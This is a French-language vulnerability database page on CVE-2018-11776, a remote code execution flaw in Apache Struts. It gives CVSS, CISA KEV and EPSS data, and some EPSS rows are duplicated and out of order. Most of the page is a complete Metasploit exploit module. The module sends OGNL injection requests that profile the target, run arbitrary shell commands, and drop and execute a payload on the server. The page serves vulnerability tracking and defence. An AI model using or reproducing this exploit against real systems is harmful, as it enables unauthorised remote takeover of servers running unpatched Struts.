CPE, qui signifie Common Platform Enumeration, est un système normalisé de dénomination du matériel, des logiciels et des systèmes d'exploitation. CPE fournit un schéma de dénomination structuré pour identifier et classer de manière unique les systèmes informatiques, les plates-formes et les progiciels sur la base de certains attributs tels que le fournisseur, le nom du produit, la version, la mise à jour, l'édition et la langue.
CWE, ou Common Weakness Enumeration, est une liste complète et une catégorisation des faiblesses et des vulnérabilités des logiciels. Elle sert de langage commun pour décrire les faiblesses de sécurité des logiciels au niveau de l'architecture, de la conception, du code ou de la mise en œuvre, qui peuvent entraîner des vulnérabilités.
CAPEC, qui signifie Common Attack Pattern Enumeration and Classification (énumération et classification des schémas d'attaque communs), est une ressource complète, accessible au public, qui documente les schémas d'attaque communs utilisés par les adversaires dans les cyberattaques. Cette base de connaissances vise à comprendre et à articuler les vulnérabilités communes et les méthodes utilisées par les attaquants pour les exploiter.
Services & Prix
Aides & Infos
Recherche de CVE id, CWE id, CAPEC id, vendeur ou mots clés dans les CVE
Apache Struts versions 2.3 to 2.3.34 and 2.5 to 2.5.16 suffer from possible Remote Code Execution when alwaysSelectFullNamespace is true (either by user or a plugin like Convention Plugin) and then: results are used with no namespace and in same time, its upper package have no or wildcard namespace and similar to results, same possibility when using url tag which doesn't have value and action set and in same time, its upper package have no or wildcard namespace.
Informations du CVE
Faiblesses connexes
CWE-ID
Nom de la faiblesse
Source
CWE Other
No informations.
Métriques
Métriques
Score
Gravité
CVSS Vecteur
Source
V3.1
8.1
HIGH
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
More informations
Base: Exploitabilty Metrics
The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.
Attack Vector
This metric reflects the context by which vulnerability exploitation is possible.
Network
The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).
Attack Complexity
This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.
High
successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected.
Privileges Required
This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.
None
The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.
None
The vulnerable system can be exploited without interaction from any user.
Base: Scope Metrics
The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.
Scope
Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.
Unchanged
An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.
Base: Impact Metrics
The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.
Confidentiality Impact
This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.
High
There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.
Integrity Impact
This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.
High
There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.
Availability Impact
This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.
High
There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).
Temporal Metrics
The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.
Environmental Metrics
These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.
nvd@nist.gov
V2
9.3
AV:N/AC:M/Au:N/C:C/I:C/A:C
nvd@nist.gov
CISA KEV (Vulnérabilités Exploitées Connues)
Nom de la vulnérabilité : Apache Struts Remote Code Execution Vulnerability
Action requise : Apply updates per vendor instructions.
Connu pour être utilisé dans des campagnes de ransomware : Unknown
Ajouter le : 2021-11-02 23h00 +00:00
Action attendue : 2022-05-02 22h00 +00:00
Informations importantes
Ce CVE est identifié comme vulnérable et constitue une menace active, selon le Catalogue des Vulnérabilités Exploitées Connues (CISA KEV). La CISA a répertorié cette vulnérabilité comme étant activement exploitée par des cybercriminels, soulignant ainsi l'importance de prendre des mesures immédiates pour remédier à cette faille. Il est impératif de prioriser la mise à jour et la correction de ce CVE afin de protéger les systèmes contre les potentielles cyberattaques.
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2021-04-18
89.92%
–
–
–
–
2021-09-05
–
89.92%
–
–
–
2022-02-06
–
–
95.7%
–
–
2023-03-12
–
–
–
97.56%
–
2023-06-18
–
–
–
97.55%
–
2023-07-09
–
–
–
97.56%
–
2023-12-03
–
–
–
97.55%
–
2024-01-14
–
–
–
97.51%
–
2024-02-04
–
–
–
97.53%
–
2024-03-17
–
–
–
97.52%
–
2024-06-02
–
–
–
97.52%
–
2024-06-09
–
–
–
97.53%
–
2024-07-28
–
–
–
97.54%
–
2024-08-04
–
–
–
97.53%
–
2024-09-08
–
–
–
97.52%
–
2024-12-08
–
–
–
97.51%
–
2024-12-22
–
–
–
97.4%
–
2025-01-12
–
–
–
97.33%
–
2025-02-16
–
–
–
97.36%
–
2025-01-19
–
–
–
97.33%
–
2025-02-16
–
–
–
97.36%
–
2025-03-18
–
–
–
–
94.43%
2025-03-18
–
–
–
–
94.43,%
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Date de publication : 2018-09-09 22h00 +00:00 Auteur : Metasploit EDB Vérifié : Yes
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
# Eschewing CmdStager for now, since the use of '\' and ';' are killing me
#include Msf::Exploit::CmdStager # https://github.com/rapid7/metasploit-framework/wiki/How-to-use-command-stagers
def initialize(info = {})
super(update_info(info,
'Name' => 'Apache Struts 2 Namespace Redirect OGNL Injection',
'Description' => %q{
This module exploits a remote code execution vulnerability in Apache Struts
version 2.3 - 2.3.4, and 2.5 - 2.5.16. Remote Code Execution can be performed
via an endpoint that makes use of a redirect action.
Native payloads will be converted to executables and dropped in the
server's temp dir. If this fails, try a cmd/* payload, which won't
have to write to the disk.
},
#TODO: Is that second paragraph above still accurate?
'Author' => [
'Man Yue Mo', # Discovery
'hook-s3c', # PoC
'asoto-r7', # Metasploit module
'wvu' # Metasploit module
],
'References' => [
['CVE', '2018-11776'],
['URL', 'https://lgtm.com/blog/apache_struts_CVE-2018-11776'],
['URL', 'https://cwiki.apache.org/confluence/display/WW/S2-057'],
['URL', 'https://github.com/hook-s3c/CVE-2018-11776-Python-PoC'],
],
'Privileged' => false,
'Targets' => [
[
'Automatic detection', {
'Platform' => %w{ unix windows linux },
'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
},
],
[
'Windows', {
'Platform' => %w{ windows },
'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
},
],
[
'Linux', {
'Platform' => %w{ unix linux },
'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/generic'}
},
],
],
'DisclosureDate' => 'Aug 22 2018', # Private disclosure = Apr 10 2018
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(8080),
OptString.new('TARGETURI', [ true, 'A valid base path to a struts application', '/' ]),
OptString.new('ACTION', [ true, 'A valid endpoint that is configured as a redirect action', 'showcase.action' ]),
OptString.new('ENABLE_STATIC', [ true, 'Enable "allowStaticMethodAccess" before executing OGNL', true ]),
]
)
register_advanced_options(
[
OptString.new('HTTPMethod', [ true, 'The HTTP method to send in the request. Cannot contain spaces', 'GET' ]),
OptString.new('HEADER', [ true, 'The HTTP header field used to transport the optional payload', "X-#{rand_text_alpha(4)}"] ),
OptString.new('TEMPFILE', [ true, 'The temporary filename written to disk when executing a payload', "#{rand_text_alpha(8)}"] ),
]
)
end
def check
# METHOD 1: Try to extract the state of hte allowStaticMethodAccess variable
ognl = "#_memberAccess['allowStaticMethodAccess']"
resp = send_struts_request(ognl)
# If vulnerable, the server should return an HTTP 302 (Redirect)
# and the 'Location' header should contain either 'true' or 'false'
if resp && resp.headers['Location']
output = resp.headers['Location']
vprint_status("Redirected to: #{output}")
if (output.include? '/true/')
print_status("Target does *not* require enabling 'allowStaticMethodAccess'. Setting ENABLE_STATIC to 'false'")
datastore['ENABLE_STATIC'] = false
CheckCode::Vulnerable
elsif (output.include? '/false/')
print_status("Target requires enabling 'allowStaticMethodAccess'. Setting ENABLE_STATIC to 'true'")
datastore['ENABLE_STATIC'] = true
CheckCode::Vulnerable
else
CheckCode::Safe
end
elsif resp && resp.code==400
# METHOD 2: Generate two random numbers, ask the target to add them together.
# If it does, it's vulnerable.
a = rand(10000)
b = rand(10000)
c = a+b
ognl = "#{a}+#{b}"
resp = send_struts_request(ognl)
if resp.headers['Location'].include? c.to_s
vprint_status("Redirected to: #{resp.headers['Location']}")
print_status("Target does *not* require enabling 'allowStaticMethodAccess'. Setting ENABLE_STATIC to 'false'")
datastore['ENABLE_STATIC'] = false
CheckCode::Vulnerable
else
CheckCode::Safe
end
end
end
def exploit
case payload.arch.first
when ARCH_CMD
resp = execute_command(payload.encoded)
else
resp = send_payload()
end
end
def encode_ognl(ognl)
# Check and fail if the command contains the follow bad characters:
# ';' seems to terminates the OGNL statement
# '/' causes the target to return an HTTP/400 error
# '\' causes the target to return an HTTP/400 error (sometimes?)
# '\r' ends the GET request prematurely
# '\n' ends the GET request prematurely
# TODO: Make sure the following line is uncommented
bad_chars = %w[; \\ \r \n] # and maybe '/'
bad_chars.each do |c|
if ognl.include? c
print_error("Bad OGNL request: #{ognl}")
fail_with(Failure::BadConfig, "OGNL request cannot contain a '#{c}'")
end
end
# The following list of characters *must* be encoded or ORNL will asplode
encodable_chars = { "%": "%25", # Always do this one first. :-)
" ": "%20",
"\"":"%22",
"#": "%23",
"'": "%27",
"<": "%3c",
">": "%3e",
"?": "%3f",
"^": "%5e",
"`": "%60",
"{": "%7b",
"|": "%7c",
"}": "%7d",
#"\/":"%2f", # Don't do this. Just leave it front-slashes in as normal.
#";": "%3b", # Doesn't work. Anyone have a cool idea for a workaround?
#"\\":"%5c", # Doesn't work. Anyone have a cool idea for a workaround?
#"\\":"%5c%5c", # Doesn't work. Anyone have a cool idea for a workaround?
}
encodable_chars.each do |k,v|
#ognl.gsub!(k,v) # TypeError wrong argument type Symbol (expected Regexp)
ognl.gsub!("#{k}","#{v}")
end
return ognl
end
def send_struts_request(ognl, payload: nil)
=begin #badchar-checking code
pre = ognl
=end
ognl = "${#{ognl}}"
vprint_status("Submitted OGNL: #{ognl}")
ognl = encode_ognl(ognl)
headers = {'Keep-Alive': 'timeout=5, max=1000'}
if payload
vprint_status("Embedding payload of #{payload.length} bytes")
headers[datastore['HEADER']] = payload
end
# TODO: Embed OGNL in an HTTP header to hide it from the Tomcat logs
uri = "/#{ognl}/#{datastore['ACTION']}"
resp = send_request_cgi(
#'encode' => true, # this fails to encode '\', which is a problem for me
'uri' => uri,
'method' => datastore['HTTPMethod'],
'headers' => headers
)
if resp && resp.code == 404
fail_with(Failure::UnexpectedReply, "Server returned HTTP 404, please double check TARGETURI and ACTION options")
end
=begin #badchar-checking code
print_status("Response code: #{resp.code}")
#print_status("Response recv: BODY '#{resp.body}'") if resp.body
if resp.headers['Location']
print_status("Response recv: LOC: #{resp.headers['Location'].split('/')[1]}")
if resp.headers['Location'].split('/')[1] == pre[1..-2]
print_good("GOT 'EM!")
else
print_error(" #{pre[1..-2]}")
end
end
=end
resp
end
def profile_target
# Use OGNL to extract properties from the Java environment
properties = { 'os.name': nil, # e.g. 'Linux'
'os.arch': nil, # e.g. 'amd64'
'os.version': nil, # e.g. '4.4.0-112-generic'
'user.name': nil, # e.g. 'root'
#'user.home': nil, # e.g. '/root' (didn't work in testing)
'user.language': nil, # e.g. 'en'
#'java.io.tmpdir': nil, # e.g. '/usr/local/tomcat/temp' (didn't work in testing)
}
ognl = ""
ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC']
ognl << %Q|('#{rand_text_alpha(2)}')|
properties.each do |k,v|
ognl << %Q|+(@java.lang.System@getProperty('#{k}'))+':'|
end
ognl = ognl[0...-4]
r = send_struts_request(ognl)
if r.code == 400
fail_with(Failure::UnexpectedReply, "Server returned HTTP 400, consider toggling the ENABLE_STATIC option")
elsif r.headers['Location']
# r.headers['Location'] should look like '/bILinux:amd64:4.4.0-112-generic:root:en/help.action'
# Extract the OGNL output from the Location path, and strip the two random chars
s = r.headers['Location'].split('/')[1][2..-1]
if s.nil?
# Since the target didn't respond with an HTTP/400, we know the OGNL code executed.
# But we didn't get any output, so we can't profile the target. Abort.
return nil
end
# Confirm that all fields were returned, and non include extra (:) delimiters
# If the OGNL fails, we might get a partial result back, in which case, we'll abort.
if s.count(':') > properties.length
print_error("Failed to profile target. Response from server: #{r.to_s}")
fail_with(Failure::UnexpectedReply, "Target responded with unexpected profiling data")
end
# Separate the colon-delimited properties and store in the 'properties' hash
s = s.split(':')
i = 0
properties.each do |k,v|
properties[k] = s[i]
i += 1
end
print_good("Target profiled successfully: #{properties[:'os.name']} #{properties[:'os.version']}" +
" #{properties[:'os.arch']}, running as #{properties[:'user.name']}")
return properties
else
print_error("Failed to profile target. Response from server: #{r.to_s}")
fail_with(Failure::UnexpectedReply, "Server did not respond properly to profiling attempt.")
end
end
def execute_command(cmd_input, opts={})
# Semicolons appear to be a bad character in OGNL. cmdstager doesn't understand that.
if cmd_input.include? ';'
print_warning("WARNING: Command contains bad characters: semicolons (;).")
end
begin
properties = profile_target
os = properties[:'os.name'].downcase
rescue
vprint_warning("Target profiling was unable to determine operating system")
os = ''
os = 'windows' if datastore['PAYLOAD'].downcase.include? 'win'
os = 'linux' if datastore['PAYLOAD'].downcase.include? 'linux'
os = 'unix' if datastore['PAYLOAD'].downcase.include? 'unix'
end
if (os.include? 'linux') || (os.include? 'nix')
cmd = "{'sh','-c','#{cmd_input}'}"
elsif os.include? 'win'
cmd = "{'cmd.exe','/c','#{cmd_input}'}"
else
vprint_error("Failed to detect target OS. Attempting to execute command directly")
cmd = cmd_input
end
# The following OGNL will run arbitrary commands on Windows and Linux
# targets, as well as returning STDOUT and STDERR. In my testing,
# on Struts2 in Tomcat 7.0.79, commands timed out after 18-19 seconds.
vprint_status("Executing: #{cmd}")
ognl = ""
ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC']
ognl << %Q|(#p=new java.lang.ProcessBuilder(#{cmd})).|
ognl << %q|(#p.redirectErrorStream(true)).|
ognl << %q|(#process=#p.start()).|
ognl << %q|(#r=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).|
ognl << %q|(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#r)).|
ognl << %q|(#r.flush())|
r = send_struts_request(ognl)
if r && r.code == 200
print_good("Command executed:\n#{r.body}")
elsif r
if r.body.length == 0
print_status("Payload sent, but no output provided from server.")
elsif r.body.length > 0
print_error("Failed to run command. Response from server: #{r.to_s}")
end
end
end
def send_payload
# Probe for the target OS and architecture
begin
properties = profile_target
os = properties[:'os.name'].downcase
rescue
vprint_warning("Target profiling was unable to determine operating system")
os = ''
os = 'windows' if datastore['PAYLOAD'].downcase.include? 'win'
os = 'linux' if datastore['PAYLOAD'].downcase.include? 'linux'
os = 'unix' if datastore['PAYLOAD'].downcase.include? 'unix'
end
data_header = datastore['HEADER']
if data_header.empty?
fail_with(Failure::BadConfig, "HEADER parameter cannot be blank when sending a payload")
end
random_filename = datastore['TEMPFILE']
# d = data stream from HTTP header
# f = path to temp file
# s = stream/handle to temp file
ognl = ""
ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC']
ognl << %Q|(#d=@org.apache.struts2.ServletActionContext@getRequest().getHeader('#{data_header}')).|
ognl << %Q|(#f=@java.io.File@createTempFile('#{random_filename}','tmp')).|
ognl << %q|(#f.setExecutable(true)).|
ognl << %q|(#f.deleteOnExit()).|
ognl << %q|(#s=new java.io.FileOutputStream(#f)).|
ognl << %q|(#d=new sun.misc.BASE64Decoder().decodeBuffer(#d)).|
ognl << %q|(#s.write(#d)).|
ognl << %q|(#s.close()).|
ognl << %q|(#p=new java.lang.ProcessBuilder({#f.getAbsolutePath()})).|
ognl << %q|(#p.start()).|
ognl << %q|(#f.delete()).|
success_string = rand_text_alpha(4)
ognl << %Q|('#{success_string}')|
exe = [generate_payload_exe].pack("m").delete("\n")
r = send_struts_request(ognl, payload: exe)
if r && r.headers && r.headers['Location'].split('/')[1] == success_string
print_good("Payload successfully dropped and executed.")
elsif r && r.headers['Location']
vprint_error("RESPONSE: " + r.headers['Location'])
fail_with(Failure::PayloadFailed, "Target did not successfully execute the request")
elsif r && r.code == 400
fail_with(Failure::UnexpectedReply, "Target reported an unspecified error while executing the payload")
end
end
end